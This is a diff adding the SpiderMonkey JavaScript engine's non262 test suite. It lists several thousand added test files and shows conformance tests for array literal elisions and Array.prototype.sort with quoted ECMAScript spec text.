-rw-r--r--js/src/tests/non262/regress/regress-555246-0.js14
-rw-r--r--js/src/tests/non262/regress/regress-555246-1.js18
-rw-r--r--js/src/tests/non262/regress/regress-559402-1.js14
-rw-r--r--js/src/tests/non262/regress/regress-559402-2.js8
-rw-r--r--js/src/tests/non262/regress/regress-559438.js10
-rw-r--r--js/src/tests/non262/regress/regress-560998-1.js10
-rw-r--r--js/src/tests/non262/regress/regress-560998-2.js10
-rw-r--r--js/src/tests/non262/regress/regress-561031.js1830
-rw-r--r--js/src/tests/non262/regress/regress-563210.js28
-rw-r--r--js/src/tests/non262/regress/regress-563221.js8
-rw-r--r--js/src/tests/non262/regress/regress-566549.js20
-rw-r--r--js/src/tests/non262/regress/regress-567152.js12
-rw-r--r--js/src/tests/non262/regress/regress-569306.js10
-rw-r--r--js/src/tests/non262/regress/regress-57043.js76
-rw-r--r--js/src/tests/non262/regress/regress-571014.js32
-rw-r--r--js/src/tests/non262/regress/regress-573875.js21
-rw-r--r--js/src/tests/non262/regress/regress-577648-1.js87
-rw-r--r--js/src/tests/non262/regress/regress-577648-2.js12
-rw-r--r--js/src/tests/non262/regress/regress-580544.js27
-rw-r--r--js/src/tests/non262/regress/regress-58116.js31
-rw-r--r--js/src/tests/non262/regress/regress-583429.js7
-rw-r--r--js/src/tests/non262/regress/regress-584355.js7
-rw-r--r--js/src/tests/non262/regress/regress-585257.js7
-rw-r--r--js/src/tests/non262/regress/regress-586482-1.js25
-rw-r--r--js/src/tests/non262/regress/regress-586482-2.js22
-rw-r--r--js/src/tests/non262/regress/regress-586482-3.js27
-rw-r--r--js/src/tests/non262/regress/regress-586482-4.js25
-rw-r--r--js/src/tests/non262/regress/regress-586482-5.js18
-rw-r--r--js/src/tests/non262/regress/regress-588339.js5
-rw-r--r--js/src/tests/non262/regress/regress-591846.js64
-rw-r--r--js/src/tests/non262/regress/regress-591897.js13
-rw-r--r--js/src/tests/non262/regress/regress-592202-3.js28
-rw-r--r--js/src/tests/non262/regress/regress-592202-4.js31
-rw-r--r--js/src/tests/non262/regress/regress-592556-c35.js20
-rw-r--r--js/src/tests/non262/regress/regress-593256.js21
-rw-r--r--js/src/tests/non262/regress/regress-595230-2.js10
-rw-r--r--js/src/tests/non262/regress/regress-595365-1.js31
-rw-r--r--js/src/tests/non262/regress/regress-596103.js13
-rw-r--r--js/src/tests/non262/regress/regress-596805-1.js14
-rw-r--r--js/src/tests/non262/regress/regress-596805-2.js27
-rw-r--r--js/src/tests/non262/regress/regress-597945-1.js24
-rw-r--r--js/src/tests/non262/regress/regress-597945-2.js13
-rw-r--r--js/src/tests/non262/regress/regress-598176.js27
-rw-r--r--js/src/tests/non262/regress/regress-600067.js16
-rw-r--r--js/src/tests/non262/regress/regress-601399.js25
-rw-r--r--js/src/tests/non262/regress/regress-602621.js15
-rw-r--r--js/src/tests/non262/regress/regress-607799.js2
-rw-r--r--js/src/tests/non262/regress/regress-607863.js14
-rw-r--r--js/src/tests/non262/regress/regress-609617.js85
-rw-r--r--js/src/tests/non262/regress/regress-610026.js49
-rw-r--r--js/src/tests/non262/regress/regress-614714.js12
-rw-r--r--js/src/tests/non262/regress/regress-617405-1.js11
-rw-r--r--js/src/tests/non262/regress/regress-617405-2.js17
-rw-r--r--js/src/tests/non262/regress/regress-618572.js34
-rw-r--r--js/src/tests/non262/regress/regress-619003-1.js20
-rw-r--r--js/src/tests/non262/regress/regress-619003-2.js9
-rw-r--r--js/src/tests/non262/regress/regress-620376-1.js24
-rw-r--r--js/src/tests/non262/regress/regress-624547.js16
-rw-r--r--js/src/tests/non262/regress/regress-624968.js9
-rw-r--r--js/src/tests/non262/regress/regress-626436.js7
-rw-r--r--js/src/tests/non262/regress/regress-633741.js18
-rw-r--r--js/src/tests/non262/regress/regress-634210-1.js11
-rw-r--r--js/src/tests/non262/regress/regress-634210-2.js13
-rw-r--r--js/src/tests/non262/regress/regress-634210-3.js13
-rw-r--r--js/src/tests/non262/regress/regress-634210-4.js20
-rw-r--r--js/src/tests/non262/regress/regress-636364.js29
-rw-r--r--js/src/tests/non262/regress/regress-640075.js15
-rw-r--r--js/src/tests/non262/regress/regress-642247.js13
-rw-r--r--js/src/tests/non262/regress/regress-643222.js12
-rw-r--r--js/src/tests/non262/regress/regress-646820-1.js9
-rw-r--r--js/src/tests/non262/regress/regress-646820-2.js11
-rw-r--r--js/src/tests/non262/regress/regress-646820-3.js9
-rw-r--r--js/src/tests/non262/regress/regress-665355.js19
-rw-r--r--js/src/tests/non262/regress/regress-672892.js8
-rw-r--r--js/src/tests/non262/regress/regress-672893.js18
-rw-r--r--js/src/tests/non262/regress/regress-68498-001.js42
-rw-r--r--js/src/tests/non262/regress/regress-68498-002.js64
-rw-r--r--js/src/tests/non262/regress/regress-68498-003.js68
-rw-r--r--js/src/tests/non262/regress/regress-68498-004.js96
-rw-r--r--js/src/tests/non262/regress/regress-694306.js21
-rw-r--r--js/src/tests/non262/regress/regress-69607.js42
-rw-r--r--js/src/tests/non262/regress/regress-698028-1.js24
-rw-r--r--js/src/tests/non262/regress/regress-698028-2.js29
-rw-r--r--js/src/tests/non262/regress/regress-698028-3.js15
-rw-r--r--js/src/tests/non262/regress/regress-699682.js29
-rw-r--r--js/src/tests/non262/regress/regress-71107.js43
-rw-r--r--js/src/tests/non262/regress/regress-736792.js23
-rw-r--r--js/src/tests/non262/regress/regress-76054.js123
-rw-r--r--js/src/tests/non262/regress/regress-80981.js3111
-rw-r--r--js/src/tests/non262/regress/regress-810525.js25
-rw-r--r--js/src/tests/non262/regress/regress-82306.js45
-rw-r--r--js/src/tests/non262/regress/regress-89443.js2119
-rw-r--r--js/src/tests/non262/regress/regress-89474.js47
-rw-r--r--js/src/tests/non262/regress/regress-90445.js295
-rw-r--r--js/src/tests/non262/regress/regress-96128-n.js48
-rw-r--r--js/src/tests/non262/regress/regress-96526-001.js504
-rw-r--r--js/src/tests/non262/regress/regress-96526-002.js30
-rw-r--r--js/src/tests/non262/regress/regress-96526-003.js4405
-rw-r--r--js/src/tests/non262/regress/regress-98901.js3892
-rw-r--r--js/src/tests/non262/regress/shell.js0
-rw-r--r--js/src/tests/non262/shell.js339
-rw-r--r--js/src/tests/non262/statements/arrow-function-at-end-of-for-statement-head.js64
-rw-r--r--js/src/tests/non262/statements/arrow-function-in-for-statement-head.js33
-rw-r--r--js/src/tests/non262/statements/browser.js0
-rw-r--r--js/src/tests/non262/statements/for-in-with-assignment-semantics.js46
-rw-r--r--js/src/tests/non262/statements/for-in-with-assignment-syntax.js66
-rw-r--r--js/src/tests/non262/statements/for-in-with-assignments.js87
-rw-r--r--js/src/tests/non262/statements/for-in-with-declaration.js31
-rw-r--r--js/src/tests/non262/statements/for-in-with-destructuring-assignments.js130
-rw-r--r--js/src/tests/non262/statements/for-in-with-gc-and-unvisited-deletion.js76
-rw-r--r--js/src/tests/non262/statements/for-in-with-gc-during-iterator-init.js30
-rw-r--r--js/src/tests/non262/statements/for-inof-coverinitname-destr-assign.js55
-rw-r--r--js/src/tests/non262/statements/for-inof-finally.js78
-rw-r--r--js/src/tests/non262/statements/for-inof-loop-const-declaration.js94
-rw-r--r--js/src/tests/non262/statements/for-inof-name-iteration-expression-contains-index-string.js43
-rw-r--r--js/src/tests/non262/statements/for-loop-declaration-contains-computed-name.js48
-rw-r--r--js/src/tests/non262/statements/for-loop-declaration-contains-initializer.js50
-rw-r--r--js/src/tests/non262/statements/for-of-async-of-starting-lhs.js116
-rw-r--r--js/src/tests/non262/statements/for-of-iterator-close-throw.js35
-rw-r--r--js/src/tests/non262/statements/for-of-iterator-close.js102
-rw-r--r--js/src/tests/non262/statements/for-of-iterator-primitive.js28
-rw-r--r--js/src/tests/non262/statements/for-of-var-with-initializer.js32
-rw-r--r--js/src/tests/non262/statements/if-constant-folding.js35
-rw-r--r--js/src/tests/non262/statements/property-reference-self-assignment.js38
-rw-r--r--js/src/tests/non262/statements/regress-131348.js147
-rw-r--r--js/src/tests/non262/statements/regress-157509.js74
-rw-r--r--js/src/tests/non262/statements/regress-194364.js115
-rw-r--r--js/src/tests/non262/statements/regress-226517.js75
-rw-r--r--js/src/tests/non262/statements/regress-302439.js1335
-rw-r--r--js/src/tests/non262/statements/regress-324650.js5427
-rw-r--r--js/src/tests/non262/statements/regress-444979.js40
-rw-r--r--js/src/tests/non262/statements/regress-642975.js30
-rw-r--r--js/src/tests/non262/statements/regress-74474-001.js102
-rw-r--r--js/src/tests/non262/statements/regress-74474-002.js9060
-rw-r--r--js/src/tests/non262/statements/regress-74474-003.js9062
-rw-r--r--js/src/tests/non262/statements/regress-83532-001.js34
-rw-r--r--js/src/tests/non262/statements/regress-83532-002.js37
-rw-r--r--js/src/tests/non262/statements/shell.js0
-rw-r--r--js/src/tests/non262/statements/trailing_comma_parameters.js92
-rw-r--r--js/src/tests/non262/statements/try-completion.js482
-rw-r--r--js/src/tests/non262/strict/10.4.2.js55
-rw-r--r--js/src/tests/non262/strict/10.4.3.js58
-rw-r--r--js/src/tests/non262/strict/10.6.js55
-rw-r--r--js/src/tests/non262/strict/11.1.5.js171
-rw-r--r--js/src/tests/non262/strict/11.13.1.js29
-rw-r--r--js/src/tests/non262/strict/11.13.2.js29
-rw-r--r--js/src/tests/non262/strict/11.3.1.js29
-rw-r--r--js/src/tests/non262/strict/11.3.2.js29
-rw-r--r--js/src/tests/non262/strict/11.4.1.js45
-rw-r--r--js/src/tests/non262/strict/11.4.4.js29
-rw-r--r--js/src/tests/non262/strict/11.4.5.js29
-rw-r--r--js/src/tests/non262/strict/12.10.1.js30
-rw-r--r--js/src/tests/non262/strict/12.14.1.js37
-rw-r--r--js/src/tests/non262/strict/12.2.1-01.js75
-rw-r--r--js/src/tests/non262/strict/12.2.1.js25
-rw-r--r--js/src/tests/non262/strict/13.1.js345
-rw-r--r--js/src/tests/non262/strict/15.10.7.js15
-rw-r--r--js/src/tests/non262/strict/15.3.4.5.js26
-rw-r--r--js/src/tests/non262/strict/15.3.5.1.js16
-rw-r--r--js/src/tests/non262/strict/15.3.5.2.js16
-rw-r--r--js/src/tests/non262/strict/15.4.4.11.js32
-rw-r--r--js/src/tests/non262/strict/15.4.4.12.js50
-rw-r--r--js/src/tests/non262/strict/15.4.4.13.js50
-rw-r--r--js/src/tests/non262/strict/15.4.4.6.js28
-rw-r--r--js/src/tests/non262/strict/15.4.4.8.js50
-rw-r--r--js/src/tests/non262/strict/15.4.4.9.js50
-rw-r--r--js/src/tests/non262/strict/15.4.5.1.js84
-rw-r--r--js/src/tests/non262/strict/15.5.5.1.js26
-rw-r--r--js/src/tests/non262/strict/15.5.5.2.js15
-rw-r--r--js/src/tests/non262/strict/8.12.5.js82
-rw-r--r--js/src/tests/non262/strict/8.12.7-2.js21
-rw-r--r--js/src/tests/non262/strict/8.12.7.js32
-rw-r--r--js/src/tests/non262/strict/8.7.2-01.js17
-rw-r--r--js/src/tests/non262/strict/8.7.2.js56
-rw-r--r--js/src/tests/non262/strict/B.1.1.js31
-rw-r--r--js/src/tests/non262/strict/B.1.2.js38
-rw-r--r--js/src/tests/non262/strict/assign-to-callee-name.js42
-rw-r--r--js/src/tests/non262/strict/browser.js0
-rw-r--r--js/src/tests/non262/strict/directive-prologue-01.js78
-rw-r--r--js/src/tests/non262/strict/eval-variable-environment.js67
-rw-r--r--js/src/tests/non262/strict/primitive-assignment.js23
-rw-r--r--js/src/tests/non262/strict/primitive-this-getter.js56
-rw-r--r--js/src/tests/non262/strict/primitive-this-no-writeback.js20
-rw-r--r--js/src/tests/non262/strict/rebind-eval-should-fail-in-strict-mode.js39
-rw-r--r--js/src/tests/non262/strict/regress-532041.js17
-rw-r--r--js/src/tests/non262/strict/regress-532254.js13
-rw-r--r--js/src/tests/non262/strict/regress-599159.js33
-rw-r--r--js/src/tests/non262/strict/shell.js65
-rw-r--r--js/src/tests/non262/strict/strict-function-statements.js94
-rw-r--r--js/src/tests/non262/strict/strict-this-is-not-truthy.js12
-rw-r--r--js/src/tests/non262/strict/this-for-function-expression-recursion.js44
-rw-r--r--js/src/tests/non262/strict/unbrand-this.js45
-rw-r--r--js/src/tests/non262/syntax/browser.js0
-rw-r--r--js/src/tests/non262/syntax/column-numbers-in-long-lines.js403
-rw-r--r--js/src/tests/non262/syntax/declaration-forbidden-in-label.js34
-rw-r--r--js/src/tests/non262/syntax/escaped-let-static-identifier.js57
-rw-r--r--js/src/tests/non262/syntax/escaped-strict-reserved-words-and-yield.js105
-rw-r--r--js/src/tests/non262/syntax/identifier_vertical_tilde.js20
-rw-r--r--js/src/tests/non262/syntax/identifiers-with-extended-unicode-escape.js208
-rw-r--r--js/src/tests/non262/syntax/keyword-unescaped-requirement.js68
-rw-r--r--js/src/tests/non262/syntax/let-as-label.js35
-rw-r--r--js/src/tests/non262/syntax/line-number-maintenance-for-identifier-containing-escape-terminated-by-unicode-separator.js41
-rw-r--r--js/src/tests/non262/syntax/linefeed-at-eof-in-unterminated-string-or-template.js88
-rw-r--r--js/src/tests/non262/syntax/non-simple-with-strict-directive.js140
-rw-r--r--js/src/tests/non262/syntax/omitted-catch-binding.js36
-rw-r--r--js/src/tests/non262/syntax/shell.js0
-rw-r--r--js/src/tests/non262/syntax/statement-versus-statementlistitem.js148
-rw-r--r--js/src/tests/non262/syntax/syntax-parsed-arrow-then-bigint.js40
-rw-r--r--js/src/tests/non262/syntax/syntax-parsed-arrow-then-directive.js72
-rw-r--r--js/src/tests/non262/syntax/syntax-parsed-arrow-then-sourcemap-directive.js63
-rw-r--r--js/src/tests/non262/syntax/unicode_other_id_continue.js45
-rw-r--r--js/src/tests/non262/syntax/unicode_other_id_start.js48
-rw-r--r--js/src/tests/non262/syntax/yield-as-identifier.js54
-rw-r--r--js/src/tests/non262/template-strings/browser.js2
-rw-r--r--js/src/tests/non262/template-strings/bug1559123.js15
-rw-r--r--js/src/tests/non262/template-strings/debugLineNumber.js50
-rw-r--r--js/src/tests/non262/template-strings/lineNumber.js72
-rw-r--r--js/src/tests/non262/template-strings/noSubst.js148
-rw-r--r--js/src/tests/non262/template-strings/shell.js0
-rw-r--r--js/src/tests/non262/template-strings/tagTempl.js464
-rw-r--r--js/src/tests/non262/template-strings/templLit.js118
-rw-r--r--js/src/tests/non262/template.js25
-rw-r--r--js/src/tests/non262/types/8.12.5-01.js110
-rw-r--r--js/src/tests/non262/types/browser.js0
-rw-r--r--js/src/tests/non262/types/shell.js0
3244 files changed, 429759 insertions, 0 deletions
diff --git a/js/src/tests/non262/Array/11.1.4.js b/js/src/tests/non262/Array/11.1.4.js
new file mode 100644
index 0000000000..7f39c9305e
--- /dev/null
+++ b/js/src/tests/non262/Array/11.1.4.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 260106;
+var summary = 'Elisons in Array literals should not be enumed';
+var actual = '';
+var expect = '';
+var status;
+var prop;
+var array;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' [,1] ';
+array = [,1];
+actual = '';
+expect = '1';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' [,,1] ';
+array = [,,1];
+actual = '';
+expect = '2';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' [1,] ';
+array = [1,];
+actual = '';
+expect = '0';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(4) + ' [1,,] ';
+array = [1,,];
+actual = '';
+expect = '0';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/Array/15.4.4.5-1.js b/js/src/tests/non262/Array/15.4.4.5-1.js
new file mode 100644
index 0000000000..a5f9c9883c
--- /dev/null
+++ b/js/src/tests/non262/Array/15.4.4.5-1.js
@@ -0,0 +1,187 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.5.js
+ ECMA Section: Array.prototype.sort(comparefn)
+ Description:
+
+ This test file tests cases in which the compare function is not supplied.
+
+ The elements of this array are sorted. The sort is not necessarily stable.
+ If comparefn is provided, it should be a function that accepts two arguments
+ x and y and returns a negative value if x < y, zero if x = y, or a positive
+ value if x > y.
+
+ 1. Call the [[Get]] method of this object with argument "length".
+ 2. Call ToUint32(Result(1)).
+ 1. Perform an implementation-dependent sequence of calls to the
+ [[Get]] , [[Put]], and [[Delete]] methods of this object and
+ toSortCompare (described below), where the first argument for each call
+ to [[Get]], [[Put]] , or [[Delete]] is a nonnegative integer less
+ than Result(2) and where the arguments for calls to SortCompare are
+ results of previous calls to the [[Get]] method. After this sequence
+ is complete, this object must have the following two properties.
+ (1) There must be some mathematical permutation of the nonnegative
+ integers less than Result(2), such that for every nonnegative integer
+ j less than Result(2), if property old[j] existed, then new[(j)] is
+ exactly the same value as old[j],. but if property old[j] did not exist,
+ then new[(j)] either does not exist or exists with value undefined.
+ (2) If comparefn is not supplied or is a consistent comparison
+ function for the elements of this array, then for all nonnegative
+ integers j and k, each less than Result(2), if old[j] compares less
+ than old[k] (see SortCompare below), then (j) < (k). Here we use the
+ notation old[j] to refer to the hypothetical result of calling the [
+ [Get]] method of this object with argument j before this step is
+ executed, and the notation new[j] to refer to the hypothetical result
+ of calling the [[Get]] method of this object with argument j after this
+ step has been completely executed. A function is a consistent
+ comparison function for a set of values if (a) for any two of those
+ values (possibly the same value) considered as an ordered pair, it
+ always returns the same value when given that pair of values as its
+ two arguments, and the result of applying ToNumber to this value is
+ not NaN; (b) when considered as a relation, where the pair (x, y) is
+ considered to be in the relation if and only if applying the function
+ to x and y and then applying ToNumber to the result produces a
+ negative value, this relation is a partial order; and (c) when
+ considered as a different relation, where the pair (x, y) is considered
+ to be in the relation if and only if applying the function to x and y
+ and then applying ToNumber to the result produces a zero value (of either
+ sign), this relation is an equivalence relation. In this context, the
+ phrase "x compares less than y" means applying Result(2) to x and y and
+ then applying ToNumber to the result produces a negative value.
+ 3.Return this object.
+
+ When the SortCompare operator is called with two arguments x and y, the following steps are taken:
+ 1.If x and y are both undefined, return +0.
+ 2.If x is undefined, return 1.
+ 3.If y is undefined, return 1.
+ 4.If the argument comparefn was not provided in the call to sort, go to step 7.
+ 5.Call comparefn with arguments x and y.
+ 6.Return Result(5).
+ 7.Call ToString(x).
+ 8.Call ToString(y).
+ 9.If Result(7) < Result(8), return 1.
+ 10.If Result(7) > Result(8), return 1.
+ 11.Return +0.
+
+ Note that, because undefined always compared greater than any other value, undefined and nonexistent
+ property values always sort to the end of the result. It is implementation-dependent whether or not such
+ properties will exist or not at the end of the array when the sort is concluded.
+
+ Note that the sort function is intentionally generic; it does not require that its this value be an Array object.
+ Therefore it can be transferred to other kinds of objects for use as a method. Whether the sort function can be
+ applied successfully to a host object is implementation dependent .
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.4.4.5-1";
+var TITLE = "Array.prototype.sort(comparefn)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+var S = new Array();
+var item = 0;
+
+// array is empty.
+S[item++] = "var A = new Array()";
+
+// array contains one item
+S[item++] = "var A = new Array( true )";
+
+// length of array is 2
+S[item++] = "var A = new Array( true, false, new Boolean(true), new Boolean(false), 'true', 'false' )";
+
+S[item++] = "var A = new Array(); A[3] = 'undefined'; A[6] = null; A[8] = 'null'; A[0] = void 0";
+
+S[item] = "var A = new Array( ";
+
+var limit = 0x0061;
+for ( var i = 0x007A; i >= limit; i-- ) {
+ S[item] += "\'"+ String.fromCharCode(i) +"\'" ;
+ if ( i > limit ) {
+ S[item] += ",";
+ }
+}
+
+S[item] += ")";
+
+item++;
+
+for ( var i = 0; i < S.length; i++ ) {
+ CheckItems( S[i] );
+}
+
+test();
+
+function CheckItems( S ) {
+ eval( S );
+ var E = Sort( A );
+
+ new TestCase(
+ S +"; A.sort(); A.length",
+ E.length,
+ eval( S + "; A.sort(); A.length") );
+
+ for ( var i = 0; i < E.length; i++ ) {
+ new TestCase(
+ "A["+i+ "].toString()",
+ E[i] +"",
+ A[i] +"");
+
+ if ( A[i] == void 0 && typeof A[i] == "undefined" ) {
+ new TestCase(
+ "typeof A["+i+ "]",
+ typeof E[i],
+ typeof A[i] );
+ }
+ }
+}
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = eval(this.array[i]);
+ }
+ this.sort = Array.prototype.sort;
+ this.getClass = Object.prototype.toString;
+}
+function Sort( a ) {
+ for ( i = 0; i < a.length; i++ ) {
+ for ( j = i+1; j < a.length; j++ ) {
+ var lo = a[i];
+ var hi = a[j];
+ var c = Compare( lo, hi );
+ if ( c == 1 ) {
+ a[i] = hi;
+ a[j] = lo;
+ }
+ }
+ }
+ return a;
+}
+function Compare( x, y ) {
+ if ( x == void 0 && y == void 0 && typeof x == "undefined" && typeof y == "undefined" ) {
+ return +0;
+ }
+ if ( x == void 0 && typeof x == "undefined" ) {
+ return 1;
+ }
+ if ( y == void 0 && typeof y == "undefined" ) {
+ return -1;
+ }
+ x = String(x);
+ y = String(y);
+ if ( x < y ) {
+ return -1;
+ }
+ if ( x > y ) {
+ return 1;
+ }
+ return 0;
+}
diff --git a/js/src/tests/non262/Array/15.4.4.5-2.js b/js/src/tests/non262/Array/15.4.4.5-2.js
new file mode 100644
index 0000000000..5198297f5f
--- /dev/null
+++ b/js/src/tests/non262/Array/15.4.4.5-2.js
@@ -0,0 +1,189 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.5-2.js
+ ECMA Section: Array.prototype.sort(comparefn)
+ Description:
+
+ This test file tests cases in which the compare function is supplied.
+ In this cases, the sort creates a reverse sort.
+
+ The elements of this array are sorted. The sort is not necessarily stable.
+ If comparefn is provided, it should be a function that accepts two arguments
+ x and y and returns a negative value if x < y, zero if x = y, or a positive
+ value if x > y.
+
+ 1. Call the [[Get]] method of this object with argument "length".
+ 2. Call ToUint32(Result(1)).
+ 1. Perform an implementation-dependent sequence of calls to the
+ [[Get]] , [[Put]], and [[Delete]] methods of this object and
+ toSortCompare (described below), where the first argument for each call
+ to [[Get]], [[Put]] , or [[Delete]] is a nonnegative integer less
+ than Result(2) and where the arguments for calls to SortCompare are
+ results of previous calls to the [[Get]] method. After this sequence
+ is complete, this object must have the following two properties.
+ (1) There must be some mathematical permutation of the nonnegative
+ integers less than Result(2), such that for every nonnegative integer
+ j less than Result(2), if property old[j] existed, then new[(j)] is
+ exactly the same value as old[j],. but if property old[j] did not exist,
+ then new[(j)] either does not exist or exists with value undefined.
+ (2) If comparefn is not supplied or is a consistent comparison
+ function for the elements of this array, then for all nonnegative
+ integers j and k, each less than Result(2), if old[j] compares less
+ than old[k] (see SortCompare below), then (j) < (k). Here we use the
+ notation old[j] to refer to the hypothetical result of calling the [
+ [Get]] method of this object with argument j before this step is
+ executed, and the notation new[j] to refer to the hypothetical result
+ of calling the [[Get]] method of this object with argument j after this
+ step has been completely executed. A function is a consistent
+ comparison function for a set of values if (a) for any two of those
+ values (possibly the same value) considered as an ordered pair, it
+ always returns the same value when given that pair of values as its
+ two arguments, and the result of applying ToNumber to this value is
+ not NaN; (b) when considered as a relation, where the pair (x, y) is
+ considered to be in the relation if and only if applying the function
+ to x and y and then applying ToNumber to the result produces a
+ negative value, this relation is a partial order; and (c) when
+ considered as a different relation, where the pair (x, y) is considered
+ to be in the relation if and only if applying the function to x and y
+ and then applying ToNumber to the result produces a zero value (of either
+ sign), this relation is an equivalence relation. In this context, the
+ phrase "x compares less than y" means applying Result(2) to x and y and
+ then applying ToNumber to the result produces a negative value.
+ 3.Return this object.
+
+ When the SortCompare operator is called with two arguments x and y, the following steps are taken:
+ 1.If x and y are both undefined, return +0.
+ 2.If x is undefined, return 1.
+ 3.If y is undefined, return 1.
+ 4.If the argument comparefn was not provided in the call to sort, go to step 7.
+ 5.Call comparefn with arguments x and y.
+ 6.Return Result(5).
+ 7.Call ToString(x).
+ 8.Call ToString(y).
+ 9.If Result(7) < Result(8), return 1.
+ 10.If Result(7) > Result(8), return 1.
+ 11.Return +0.
+
+ Note that, because undefined always compared greater than any other value, undefined and nonexistent
+ property values always sort to the end of the result. It is implementation-dependent whether or not such
+ properties will exist or not at the end of the array when the sort is concluded.
+
+ Note that the sort function is intentionally generic; it does not require that its this value be an Array object.
+ Therefore it can be transferred to other kinds of objects for use as a method. Whether the sort function can be
+ applied successfully to a host object is implementation dependent .
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.4.4.5-2";
+var TITLE = "Array.prototype.sort(comparefn)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var S = new Array();
+var item = 0;
+
+// array is empty.
+S[item++] = "var A = new Array()";
+
+// array contains one item
+S[item++] = "var A = new Array( true )";
+
+// length of array is 2
+S[item++] = "var A = new Array( true, false, new Boolean(true), new Boolean(false), 'true', 'false' )";
+
+S[item++] = "var A = new Array(); A[3] = 'undefined'; A[6] = null; A[8] = 'null'; A[0] = void 0";
+
+S[item] = "var A = new Array( ";
+
+var limit = 0x0061;
+for ( var i = 0x007A; i >= limit; i-- ) {
+ S[item] += "\'"+ String.fromCharCode(i) +"\'" ;
+ if ( i > limit ) {
+ S[item] += ",";
+ }
+}
+
+S[item] += ")";
+
+for ( var i = 0; i < S.length; i++ ) {
+ CheckItems( S[i] );
+}
+
+test();
+
+function CheckItems( S ) {
+ eval( S );
+ var E = Sort( A );
+
+ new TestCase(
+ S +"; A.sort(Compare); A.length",
+ E.length,
+ eval( S + "; A.sort(Compare); A.length") );
+
+ for ( var i = 0; i < E.length; i++ ) {
+ new TestCase(
+ "A["+i+ "].toString()",
+ E[i] +"",
+ A[i] +"");
+
+ if ( A[i] == void 0 && typeof A[i] == "undefined" ) {
+ new TestCase(
+ "typeof A["+i+ "]",
+ typeof E[i],
+ typeof A[i] );
+ }
+ }
+}
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = eval(this.array[i]);
+ }
+ this.sort = Array.prototype.sort;
+ this.getClass = Object.prototype.toString;
+}
+function Sort( a ) {
+ var r1 = a.length;
+ for ( i = 0; i < a.length; i++ ) {
+ for ( j = i+1; j < a.length; j++ ) {
+ var lo = a[i];
+ var hi = a[j];
+ var c = Compare( lo, hi );
+ if ( c == 1 ) {
+ a[i] = hi;
+ a[j] = lo;
+ }
+ }
+ }
+ return a;
+}
+function Compare( x, y ) {
+ if ( x == void 0 && y == void 0 && typeof x == "undefined" && typeof y == "undefined" ) {
+ return +0;
+ }
+ if ( x == void 0 && typeof x == "undefined" ) {
+ return 1;
+ }
+ if ( y == void 0 && typeof y == "undefined" ) {
+ return -1;
+ }
+ x = String(x);
+ y = String(y);
+ if ( x < y ) {
+ return 1;
+ }
+ if ( x > y ) {
+ return -1;
+ }
+ return 0;
+}
diff --git a/js/src/tests/non262/Array/15.4.4.5-3.js b/js/src/tests/non262/Array/15.4.4.5-3.js
new file mode 100644
index 0000000000..523a8a2a92
--- /dev/null
+++ b/js/src/tests/non262/Array/15.4.4.5-3.js
@@ -0,0 +1,145 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.5-3.js
+ ECMA Section: Array.prototype.sort(comparefn)
+ Description:
+
+ This is a regression test for
+ http://scopus/bugsplat/show_bug.cgi?id=117144
+
+ Verify that sort is successfull, even if the sort compare function returns
+ a very large negative or positive value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.4.4.5-3";
+var TITLE = "Array.prototype.sort(comparefn)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var array = new Array();
+
+var TIME_2000 = 946684800000;
+var TIME_1900 = -2208988800000;
+
+array[array.length] = new Date( TIME_2000 * Math.PI );
+array[array.length] = new Date( TIME_2000 * 10 );
+array[array.length] = new Date( TIME_1900 + TIME_1900 );
+array[array.length] = new Date(0);
+array[array.length] = new Date( TIME_2000 );
+array[array.length] = new Date( TIME_1900 + TIME_1900 +TIME_1900 );
+array[array.length] = new Date( TIME_1900 * Math.PI );
+array[array.length] = new Date( TIME_1900 * 10 );
+array[array.length] = new Date( TIME_1900 );
+array[array.length] = new Date( TIME_2000 + TIME_2000 );
+array[array.length] = new Date( 1899, 0, 1 );
+array[array.length] = new Date( 2000, 1, 29 );
+array[array.length] = new Date( 2000, 0, 1 );
+array[array.length] = new Date( 1999, 11, 31 );
+
